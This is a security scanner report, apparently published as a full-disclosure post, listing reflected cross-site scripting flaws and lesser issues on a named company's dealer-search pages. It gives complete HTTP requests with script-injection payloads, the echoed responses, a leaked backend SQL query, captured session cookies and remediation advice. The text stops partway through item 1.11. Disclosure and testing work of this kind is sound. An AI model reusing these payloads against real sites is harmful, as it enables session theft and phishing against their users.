Current Research | Full Disclosure | As of March 14, 2011
Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by XSS.CX at Tue Nov 09 12:44:40 CST 2010.
Cross Site Scripting Reports | Hoyt LLC Research
1. Cross-site scripting (reflected)
1.1. http://www.terex.com/dealersearch/dealerDetails2.php [c parameter]
1.2. http://www.terex.com/dealersearch/dealerDetails2.php [category parameter]
1.3. http://www.terex.com/dealersearch/dealersearch2.php [category parameter]
1.4. http://www.terex.com/dealersearch/dealersearch2.php [name of an arbitrarily supplied request parameter]
1.5. http://www.terex.com/dealersearch/dealersearch3.php [c parameter]
1.6. http://www.terex.com/dealersearch/dealersearch3.php [category parameter]
1.7. http://www.terex.com/dealersearch/dealersearch3.php [category parameter]
1.8. http://www.terex.com/dealersearch/dealersearch3.php [name of an arbitrarily supplied request parameter]
1.9. http://www.terex.com/dealersearch/dealersearch3.php [name of an arbitrarily supplied request parameter]
1.10. http://www.terex.com/dealersearch/dealersearch4crm.php [c parameter]
1.11. http://www.terex.com/dealersearch/dealersearch4crm.php [category parameter]
1.12. http://www.terex.com/main.php [action parameter]
1.13. http://www.terex.com/main.php [action parameter]
1.14. http://www.terex.com/main.php [id parameter]
1.15. http://www.terex.com/main.php [id parameter]
1.16. http://www.terex.com/main.php [name of an arbitrarily supplied request parameter]
1.17. http://www.terex.com/main.php [obj parameter]
1.18. http://www.terex.com/main.php [obj parameter]
2. Cookie without HttpOnly flag set
2.1. http://www.terex.com/dealersearch/
2.2. http://www.terex.com/dealersearch/dealersearch4crm.php
2.3. http://www.terex.com/main.php
3. Open redirection
4. Cross-domain Referer leakage
4.1. http://www.terex.com/main.php
4.2. http://www.terex.com/main.php
4.3. http://www.terex.com/main.php
5. TRACE method is enabled
6. Email addresses disclosed
6.1. http://www.terex.com/dealersearch/dealersearch2.php
6.2. http://www.terex.com/main.php
7. Robots.txt file
1. Cross-site scripting (reflected)
next
There are 18 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.terex.com/dealersearch/dealerDetails2.php [c parameter]
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealerDetails2.php |
Issue detail
The value of the c request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c660"><script>alert(1)</script>5f88209d166 was submitted in the c parameter. This input was echoed as 1c660\"><script>alert(1)</script>5f88209d166 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealersearch/dealerDetails2.php?did=AAPA-2WOLNT&r=1&category=3855f3791ea7a34d479b3b58d0615f86&c=us1c660"><script>alert(1)</script>5f88209d166 HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/dealersearch3.php?c=US&category=3855f3791ea7a34d479b3b58d0615f86
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.7.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:57:34 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 3390
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/htm
...[SNIP]...
<a href="dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f86&c=us1c660\"><script>alert(1)</script>5f88209d166">
...[SNIP]...
|
1.2. http://www.terex.com/dealersearch/dealerDetails2.php [category parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealerDetails2.php |
Issue detail
The value of the category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9ec6"><script>alert(1)</script>733326e461b was submitted in the category parameter. This input was echoed as e9ec6\"><script>alert(1)</script>733326e461b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealersearch/dealerDetails2.php?did=AAPA-2WOLNT&r=1&category=3855f3791ea7a34d479b3b58d0615f86e9ec6"><script>alert(1)</script>733326e461b&c=us HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/dealersearch3.php?c=US&category=3855f3791ea7a34d479b3b58d0615f86
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.7.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:56:50 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 3438
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/htm
...[SNIP]...
<a href="index.php?category=3855f3791ea7a34d479b3b58d0615f86e9ec6\"><script>alert(1)</script>733326e461b">
...[SNIP]...
|
1.3. http://www.terex.com/dealersearch/dealersearch2.php [category parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch2.php |
Issue detail
The value of the category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31697"><script>alert(1)</script>21fb80db583 was submitted in the category parameter. This input was echoed as 31697\"><script>alert(1)</script>21fb80db583 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealersearch/dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f8631697"><script>alert(1)</script>21fb80db583 HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.5.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:54:33 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 3106
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv
...[SNIP]...
<a href="index.php?category=3855f3791ea7a34d479b3b58d0615f8631697\"><script>alert(1)</script>21fb80db583">
...[SNIP]...
|
1.4. http://www.terex.com/dealersearch/dealersearch2.php [name of an arbitrarily supplied request parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch2.php |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16389"><script>alert(1)</script>d990240b91f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 16389\"><script>alert(1)</script>d990240b91f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealersearch/dealersearch2.php?category=3855f3791ea7a34d479b3b58d061/16389"><script>alert(1)</script>d990240b91f5f86 HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.5.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 17:00:51 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 3107
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv
...[SNIP]...
<a href="index.php?category=3855f3791ea7a34d479b3b58d061/16389\"><script>alert(1)</script>d990240b91f5f86">
...[SNIP]...
|
1.5. http://www.terex.com/dealersearch/dealersearch3.php [c parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch3.php |
Issue detail
The value of the c request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebf94"><script>alert(1)</script>fa6d04e46d5 was submitted in the c parameter. This input was echoed as ebf94\"><script>alert(1)</script>fa6d04e46d5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealersearch/dealersearch3.php?c=USebf94"><script>alert(1)</script>fa6d04e46d5&category=3855f3791ea7a34d479b3b58d0615f86 HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f86
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.6.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:55:00 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 3204
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/html;
...[SNIP]...
<a href="http://www.terex.com/dealersearch/dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f86&c=USebf94\"><script>alert(1)</script>fa6d04e46d5">
...[SNIP]...
|
1.6. http://www.terex.com/dealersearch/dealersearch3.php [category parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch3.php |
Issue detail
The value of the category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7d3e"><script>alert(1)</script>16af3261bde was submitted in the category parameter. This input was echoed as a7d3e\"><script>alert(1)</script>16af3261bde in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealersearch/dealersearch3.php?c=US&category=3855f3791ea7a34d479b3b58d0615f86a7d3e"><script>alert(1)</script>16af3261bde HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f86
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.6.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:55:49 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 4303
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/h
...[SNIP]...
<a href="index.php?category=3855f3791ea7a34d479b3b58d0615f86a7d3e\"><script>alert(1)</script>16af3261bde">
...[SNIP]...
|
1.7. http://www.terex.com/dealersearch/dealersearch3.php [category parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch3.php |
Issue detail
The value of the category request parameter is copied into an HTML comment. The payload f30d8--><script>alert(1)</script>53c945fac85 was submitted in the category parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /dealersearch/dealersearch3.php?c=US&category=3855f3791ea7a34d479b3b58d0615f86f30d8--><script>alert(1)</script>53c945fac85 HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f86
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.6.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:55:53 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 4303
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/h
...[SNIP]...
y t1 JOIN productdistrict pd1 ON pd1.CustomObject1Id = t1.CustomObject1Id JOIN category_map cm1 ON cm1.msplProduct_Line = t1.msplProduct_Line WHERE cm1.category_id IN ('3855f3791ea7a34d479b3b58d0615f86f30d8--><script>alert(1)</script>53c945fac85') AND pd1.IndexedPick0 != '' AND pd1.IndexedPick1 = 'UNITED STATES' -->
...[SNIP]...
|
1.8. http://www.terex.com/dealersearch/dealersearch3.php [name of an arbitrarily supplied request parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch3.php |
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 871bd--><script>alert(1)</script>32d73b612df was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /dealersearch/dealersearch3.php?c=US&category=3855f3791ea7a34d479b3b58d061/871bd--><script>alert(1)</script>32d73b612df5f86 HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f86
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.6.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 17:01:58 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 4307
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/h
...[SNIP]...
tory t1 JOIN productdistrict pd1 ON pd1.CustomObject1Id = t1.CustomObject1Id JOIN category_map cm1 ON cm1.msplProduct_Line = t1.msplProduct_Line WHERE cm1.category_id IN ('3855f3791ea7a34d479b3b58d061/871bd--><script>alert(1)</script>32d73b612df5f86') AND pd1.IndexedPick0 != '' AND pd1.IndexedPick1 = 'UNITED STATES' -->
...[SNIP]...
|
1.9. http://www.terex.com/dealersearch/dealersearch3.php [name of an arbitrarily supplied request parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch3.php |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc1f4"><script>alert(1)</script>f50a68ef591 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as cc1f4\"><script>alert(1)</script>f50a68ef591 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealersearch/dealersearch3.php?c=US&category=3855f3791ea7a34d479b3b58d061/cc1f4"><script>alert(1)</script>f50a68ef5915f86 HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f86
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.6.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 17:01:54 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 4307
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/h
...[SNIP]...
<a href="index.php?category=3855f3791ea7a34d479b3b58d061/cc1f4\"><script>alert(1)</script>f50a68ef5915f86">
...[SNIP]...
|
1.10. http://www.terex.com/dealersearch/dealersearch4crm.php [c parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch4crm.php |
Issue detail
The value of the c request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad3bb"><script>alert(1)</script>47cbb0b104 was submitted in the c parameter. This input was echoed as ad3bb\"><script>alert(1)</script>47cbb0b104 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealersearch/dealersearch4crm.php?c=USad3bb"><script>alert(1)</script>47cbb0b104&state=DC&category=3855f3791ea7a34d479b3b58d0615f86&Next=Search HTTP/1.1
Host: www.terex.com
Proxy-Connection: keep-alive
Referer: http://www.terex.com/dealersearch/dealersearch3.php?c=US&category=3855f3791ea7a34d479b3b58d0615f86
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: texsess=ao4fcen46p96sqb46u9k5v20g5; __utmz=66540715.1289321708.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style=normal; PHPSESSID=6oefj2t89pf8obe095iig1br30; __utma=66540715.1672238512.1289321708.1289321708.1289321708.1; __utmc=66540715; __utmb=66540715.7.10.1289321708
|
Response
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 16:55:51 GMT
Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 3052
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Terex Global Dealer Search</title>
<meta http-equiv="Content-Type" content="text/html;
...[SNIP]...
<a href="dealersearch2.php?category=3855f3791ea7a34d479b3b58d0615f86&c=USad3bb\"><script>alert(1)</script>47cbb0b104">
...[SNIP]...
|
1.11. http://www.terex.com/dealersearch/dealersearch4crm.php [category parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.terex.com |
| Path: |
/dealersearch/dealersearch4crm.php |
Issue detail
